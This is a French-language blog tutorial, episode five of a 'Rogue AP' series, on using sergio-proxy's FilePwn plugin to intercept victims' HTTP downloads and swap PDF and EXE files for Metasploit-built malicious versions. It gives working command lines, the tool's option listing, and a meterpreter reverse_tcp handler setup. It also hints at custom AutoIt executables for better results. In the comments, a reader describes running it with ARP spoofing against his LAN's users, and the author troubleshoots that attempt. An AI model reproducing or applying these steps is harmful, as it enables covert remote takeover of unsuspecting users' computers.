[Tuto] Rogue AP – Episode 5 : Injection de fichiers PDF et EXE

Salut à tous !

Au programme aujourd’hui, un article qui me fait jurer depuis une semaine parce que ça marche pas comme je veux (et j’ai horreur de ça). J’entre dans la partie un peu expérimentale de sergio-proxy et ça se sent… Mais bon, On va faire avec ce qu’on a, MacGyver n’a qu’à bien se tenir !

Après avoir injecté du contenu dans la page de la victime, on va modifier une partie de ce contenu. Plus exactement, remplacer tous les fichiers « PDF » et « EXE » que la cible va télécharger, par des fichiers spécialement conçus par nos soins. Cet article comportera une suite (qui devrait être publiée rapidement) sur des remplacements plus « génériques » du contenu des pages que la cible va recevoir. En avant pour la première partie donc ! 🙂

Si vous avez suivi les quatre premiers épisodes de la série, vous avez sans doute au moins une fois jeté un œil à l’aide de sergio-proxy pour voir ce qu’il propose. On y voit notamment ceci :

FilePwn:
  Replace files being downloaded via HTTP with malicious versions. Currently
  only supports Windows MSF options.

  --filepwn             Load plugin FilePwn
  --msf-file-payload MSF_FILE_PAYLOAD
                        Payload you want to use (default:
                        windows/meterpreter/reverse_tcp)
  --msf-file-lport MSF_FILE_LPORT
                        Options for payload (default: "4445")
  --pdf                 Intercept PDFs and replace with malicious.
  --exe                 Intercept exe files and replace with malicious.
  --exe-file EXE_FILE   Specify your own exe payload rather than generating
                        with msf
  --launch-msf-listener
                        Launch a listener in a seperate shell.
  --pdf-exploit PDF_EXPLOIT
                        Exploit to use in PDF (default:
                        exploit/windows/fileformat/adobe_pdf_embedded_exe)

Ceci va donc nous permettre de remplacer silencieusement tous les PDF ou tous les EXE que la cible va télécharger, par des versions vérolées. Enfin, en théorie. On commence par le PDF, je vous renvoie aux articles précédents pour la création du RogueAP et l’installation de sergio-proxy.

ln -s /root/.msf4/local/tmp.pdf /tmp/tmp.pdf
python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --msf-path /opt/metasploit/msf3/ --msf-lhost 192.168.2.1 --filepwn --pdf
# Et dans un autre terminal :
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.2.1 lport=4445

Les plus perspicaces d’entre vous auront noté que ça nécessite quelques petits ajustements pour fonctionner. D’abord le raccourci vers le PDF infecté (qui n’est pas créé au bon endroit et sergio-proxy n’aime pas ça), ensuite les quelques variables d’ajustement pour sergio-proxy lui-même, et enfin le handler Metasploit qu’il faut lancer soi-même dans une autre console (l’option idoine de sergio-proxy ne fonctionne pas). J’aurais pu patcher directement le code se sergio-proxy (après tout, c’est juste du Python) mais bon voilà, la flemme.
C’est un usage très basique, avec un exploit assez vieux qui ne fonctionnera pas avec des versions récentes d’Adobe Reader. On peut changer d’exploit avec l’option –pdf-exploit, mais je trouve Metasploit assez pauvre (du moins la version non mise-à-jour de BT5) du côté du PDF. Je crois qu’il vaut mieux forger votre PDF autrement (via SET ou Origami par exemple) et le placer dans /tmp/tmp.pdf, puis lancer une commande simplifiée de sergio-proxy :

python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --filepwn --pdf

Vous aurez droit à un message d’erreur pour Metasploit mais c’est pas grave, vu que le PDF est quand même là où il doit être 🙂 Notez que si vous voulez un template plus « sexy », il vous suffit de placer le PDF de votre choix dans /pentest/web/sergio-proxy/data/blank.pdf.

Place aux fichiers .EXE, ce n’est pas très différent du premier cas.

python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --msf-path /opt/metasploit/msf3/ --msf-lhost 192.168.2.1 --filepwn --exe
# Et dans un autre terminal :
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.2.1 lport=4445

Notez que dans les deux cas, c’est un payload très standard qui est utilisé et il a toutes les chances de faire hurler l’antivirus de la cible.C’est voulu, d’abord pour des raisons de simplicité, et ensuite pour éviter de trop pré-mâcher le boulot aux script-kiddies qui passeront par ici 😉 Vous pouvez toujours utiliser l’option « –exe-file » pour faire injecter votre exécutable-maison (toute la partie génération par Metasploit est alors ignorée), ce qui pourrait donner des résultats intéressants via des scripts AutoIt bien conçus 😉

Voilà donc pour ce premier article consacré au remplacement de contenu. Je trouve qu’il fait un peu trop brouillon et « bricolage » mais si j’attends d’avoir des articles parfaits je ne publierai plus jamais rien… Et puis c’est une façon artificielle de gonfler un peu mon nombre d’articles ! 😀

Le prochain article, la suite de celui-ci en fait, traitera du remplacement de façon plus générale (et pas simplement limité à certains types de fichiers). Stay tuned !

PS : con mi stats, puedo ver que ahorita tengo visitantes de España (¡ gracias Kcdtv, y no, no voy a traducir el blog en todos los idiomas posibles ! ;)). Bienvenidos a todos, espero que podréis entender lo que escribo, podéis contactarme en castellano también y intentaré contestar.

Publicités
Cet article a été publié dans rogue-ap, tuto. Ajoutez ce permalien à vos favoris.

5 commentaires pour [Tuto] Rogue AP – Episode 5 : Injection de fichiers PDF et EXE

  1. Noireaude dit :

    Allez, on test un petit partage G+ pour voir ce que ça donne . Ovh n’y verra rien de mal 🙂

  2. noireaude dit :

    C’est l’occasion de lire les autres 🙂

  3. Alex dit :

    Bonjour et merci pour cette superbe présentation, j’ai juste une question j’ai tenté de lancer une attaque avec la modification des .EXE télécharger pas les utilisateurs de mon LAN. (donc en plus de tt cela j’ai effectuer un ARPSPOOF sur tout mon lan pour la redirection.Tout ce charge bien au niveau du sergio-proxy ( command utiliser : ./sergio-proxy.py -l 8888 -w /tmp/log.txt — filepwn –exe –exe-file /tmp/Custom.exe) en sachant que le fichier custom est un executable personnalisé… Malheureusement peu importe la machine et peu importe le navigateur cela ne fonctionne pas …Aurais-je oublié quelque chose?Merci

    • antares145 dit :

      Salut, content que le blog te plaise 🙂

      Je n’ai pas essayé sergio-proxy dans le cadre d’une attaque ARP, mais je suppose que tu as testé et que le reste fonctionne bien. Pour le remplacement de fichiers EXE, est-ce que la console de sergio-proxy t’affiche le message « Injected malicious file » (ou un truc du genre) ? C’est quoi comme exécutable que tu essayes de transférer ? Tu es sûr qu’il ne se fait pas choper par l’antivirus ? Le fichier n’est pas existant dans le cache du navigateur ? Tu peux m’en dire plus sur le « ça ne fonctionne pas » ?

      Si c’est long et plein de détails, tu peux m’envoyer tout ça par mail (formulaire de contact en haut de la page) 😉

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s